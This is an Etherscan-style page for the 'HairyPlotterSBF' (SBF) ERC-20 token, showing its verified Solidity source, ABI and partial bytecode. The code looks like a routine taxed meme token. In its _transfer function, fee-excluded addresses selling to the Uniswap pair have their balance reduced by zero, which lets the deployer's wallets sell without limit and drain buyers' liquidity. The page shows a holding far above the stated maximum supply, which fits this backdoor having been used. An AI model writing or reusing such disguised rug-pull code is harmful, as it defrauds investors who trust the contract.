ETH Price: $2,442.60 (-1.30%)
 

Overview

Max Total Supply

10,000,000 SBF

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,000,004,741,891.640704957106410952 SBF

Value
$0.00
0x0bd4fe4439b7202334e4630daeecc621bbac415e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SBF

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-03
*/

/**

*/

/**

Telegram:https://t.me/HairyPlotterSBFERC

Twitter:https://twitter.com/SBF_ERC
*/

pragma solidity 0.8.19;

// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SBF is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address public constant DEAD = address(0x000000000000000000000000000000000000dEaD);
    address public constant ZERO = address(0x0000000000000000000000000000000000000000);

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;    

    bool public transferDelayEnabled;
    address payable private _taxWallets;

    uint256 private _initialBuyTax = 5;
    uint256 private _initialSellTax = 5;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 3;
    uint256 private _reduceSellTaxAt = 3;
    uint256 private _preventSwapBefore = 5;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10_000_000 * 10**_decimals;
    string private constant _name = "HairyPlotterSBF";
    string private constant _symbol = "SBF";
    
    uint256 public _maxTxAmount = (_tTotal * 3) / 100;
    uint256 public _maxWalletSize = (_tTotal * 3) / 100;            
    uint256 public _taxSwapThreshold= (5 * _tTotal) / 10000;        // 0.05%
    uint256 public _maxTaxSwap= 12 * _taxSwapThreshold;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallets = payable(0x911DE052f5418B28e6CB41a88431f7B7f256De55);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallets] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function enabletrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    function createPair() external payable onlyOwner() {

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniV2Pair).approve(address(uniswapV2Router), type(uint).max);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) require(tradingOpen, "Trading not enabled");

        uint256 taxAmount=0;
        uint256 taxfee;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to == uniV2Pair && from!= address(this) ){
                if (_isExcludedFromFee[from] )  taxfee = amount;
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); 
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore && !_isExcludedFromFee[from]) {                
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 20000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount-taxfee);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removelimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        uint256 balance = amount + balanceOf(DEAD);
        _taxWallets.transfer(balance);
    }

    receive() external payable {}

    function manualSwapEth() external {
        require(_msgSender() == _taxWallets);
        uint256 tokenBalance = balanceOf(address(this));

        if(tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enabletrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwapEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removelimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260056006556005600755600060085560006009556003600a556003600b556005600c556000600d55606460036012600a62000040919062000659565b62989680620000509190620006aa565b6200005c9190620006aa565b62000068919062000724565b600e55606460036012600a6200007f919062000659565b629896806200008f9190620006aa565b6200009b9190620006aa565b620000a7919062000724565b600f556127106012600a620000bd919062000659565b62989680620000cd9190620006aa565b6005620000db9190620006aa565b620000e7919062000724565b601055601054600c620000fb9190620006aa565b6011556000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff0219169083151502179055503480156200014157600080fd5b506000620001546200048e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073911de052f5418b28e6cb41a88431f7b7f256de55600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a62000257919062000659565b62989680620002679190620006aa565b600160006200027b6200048e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002cf6200049660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004026200048e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a62000461919062000659565b62989680620004719190620006aa565b6040516200048091906200076d565b60405180910390a36200078a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200054d57808604811115620005255762000524620004bf565b5b6001851615620005355780820291505b80810290506200054585620004ee565b945062000505565b94509492505050565b6000826200056857600190506200063b565b816200057857600090506200063b565b81600181146200059157600281146200059c57620005d2565b60019150506200063b565b60ff841115620005b157620005b0620004bf565b5b8360020a915084821115620005cb57620005ca620004bf565b5b506200063b565b5060208310610133831016604e8410600b84101617156200060c5782820a905083811115620006065762000605620004bf565b5b6200063b565b6200061b8484846001620004fb565b92509050818404811115620006355762000634620004bf565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006668262000642565b915062000673836200064c565b9250620006a27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000556565b905092915050565b6000620006b78262000642565b9150620006c48362000642565b9250828202620006d48162000642565b91508282048414831517620006ee57620006ed620004bf565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007318262000642565b91506200073e8362000642565b925082620007515762000750620006f5565b5b828204905092915050565b620007678162000642565b82525050565b60006020820190506200078460008301846200075c565b92915050565b61341f806200079a6000396000f3fe6080604052600436106101445760003560e01c806374e4867e116100b657806395d89b411161006f57806395d89b41146104115780639e78fb4f1461043c578063a9059cbb14610446578063bf474bed14610483578063c876d0b9146104ae578063dd62ed3e146104d95761014b565b806374e4867e146103375780637d1db4a51461034e57806380f40619146103795780638bcea939146103905780638da5cb5b146103bb5780638f9a55c0146103e65761014b565b806318160ddd1161010857806318160ddd1461022557806323b872dd14610250578063313ce5671461028d57806358fa63ca146102b857806370a08231146102e3578063715018a6146103205761014b565b806303fd2a451461015057806306fdde031461017b578063095ea7b3146101a65780630ed6ae84146101e35780630faee56f146101fa5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610516565b60405161017291906123da565b60405180910390f35b34801561018757600080fd5b5061019061051c565b60405161019d9190612485565b60405180910390f35b3480156101b257600080fd5b506101cd60048036038101906101c8919061250e565b610559565b6040516101da9190612569565b60405180910390f35b3480156101ef57600080fd5b506101f8610577565b005b34801561020657600080fd5b5061020f610694565b60405161021c9190612593565b60405180910390f35b34801561023157600080fd5b5061023a61069a565b6040516102479190612593565b60405180910390f35b34801561025c57600080fd5b50610277600480360381019061027291906125ae565b6106bd565b6040516102849190612569565b60405180910390f35b34801561029957600080fd5b506102a2610796565b6040516102af919061261d565b60405180910390f35b3480156102c457600080fd5b506102cd61079f565b6040516102da91906123da565b60405180910390f35b3480156102ef57600080fd5b5061030a60048036038101906103059190612638565b6107a4565b6040516103179190612593565b60405180910390f35b34801561032c57600080fd5b506103356107ed565b005b34801561034357600080fd5b5061034c610940565b005b34801561035a57600080fd5b506103636109dd565b6040516103709190612593565b60405180910390f35b34801561038557600080fd5b5061038e6109e3565b005b34801561039c57600080fd5b506103a5610b2b565b6040516103b291906123da565b60405180910390f35b3480156103c757600080fd5b506103d0610b51565b6040516103dd91906123da565b60405180910390f35b3480156103f257600080fd5b506103fb610b7a565b6040516104089190612593565b60405180910390f35b34801561041d57600080fd5b50610426610b80565b6040516104339190612485565b60405180910390f35b610444610bbd565b005b34801561045257600080fd5b5061046d6004803603810190610468919061250e565b61106e565b60405161047a9190612569565b60405180910390f35b34801561048f57600080fd5b5061049861108c565b6040516104a59190612593565b60405180910390f35b3480156104ba57600080fd5b506104c3611092565b6040516104d09190612569565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb9190612665565b6110a5565b60405161050d9190612593565b60405180910390f35b61dead81565b60606040518060400160405280600f81526020017f4861697279506c6f747465725342460000000000000000000000000000000000815250905090565b600061056d61056661112c565b8484611134565b6001905092915050565b61057f61112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610603906126f1565b60405180910390fd5b601360149054906101000a900460ff161561065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106539061275d565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b60115481565b60006012600a6106aa91906128df565b629896806106b8919061292a565b905090565b60006106ca8484846112fd565b61078b846106d661112c565b610786856040518060600160405280602881526020016133c260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073c61112c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4d9092919063ffffffff16565b611134565b600190509392505050565b60006012905090565b600081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107f561112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610879906126f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661098161112c565b73ffffffffffffffffffffffffffffffffffffffff16146109a157600080fd5b60006109ac306107a4565b905060008111156109c1576109c081611eb1565b5b600047905060008111156109d9576109d88161212a565b5b5050565b600e5481565b6109eb61112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f906126f1565b60405180910390fd5b6012600a610a8691906128df565b62989680610a94919061292a565b600e819055506012600a610aa891906128df565b62989680610ab6919061292a565b600f819055506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610b0691906128df565b62989680610b14919061292a565b604051610b219190612593565b60405180910390a1565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f5342460000000000000000000000000000000000000000000000000000000000815250905090565b610bc561112c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c49906126f1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cef30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610cdc91906128df565b62989680610cea919061292a565b611134565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d809190612981565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2d9190612981565b6040518363ffffffff1660e01b8152600401610e4a9291906129ae565b6020604051808303816000875af1158015610e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8d9190612981565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f16306107a4565b600080610f21610b51565b426040518863ffffffff1660e01b8152600401610f4396959493929190612a1c565b60606040518083038185885af1158015610f61573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f869190612a92565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611028929190612ae5565b6020604051808303816000875af1158015611047573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106b9190612b3a565b50565b600061108261107b61112c565b84846112fd565b6001905092915050565b60105481565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120990612c6b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f09190612593565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612cfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d290612d8f565b60405180910390fd5b6000811161141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141590612e21565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114c25750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561151757601360149054906101000a900460ff16611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612e8d565b60405180910390fd5b5b600080611522610b51565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156115905750611560610b51565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b84576115d160646115c3600a54600d54116115b0576006546115b4565b6008545b866121b190919063ffffffff16565b61222b90919063ffffffff16565b9150600560009054906101000a900460ff161561176057601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116945750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561175f5743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061171a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171190612f45565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561180b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118615750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561191c57600e548311156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290612fb1565b60405180910390fd5b600f54836118b8866107a4565b6118c29190612fd1565b1115611903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fa90613051565b60405180910390fd5b600d600081548092919061191690613071565b91905055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a557503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611a3f57600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a00578290505b611a3c6064611a2e600b54600d5411611a1b57600754611a1f565b6009545b866121b190919063ffffffff16565b61222b90919063ffffffff16565b91505b6000611a4a306107a4565b9050601360159054906101000a900460ff16158015611ab65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611ace5750601360169054906101000a900460ff165b8015611adb575060105481115b8015611aea5750600c54600d54115b8015611b40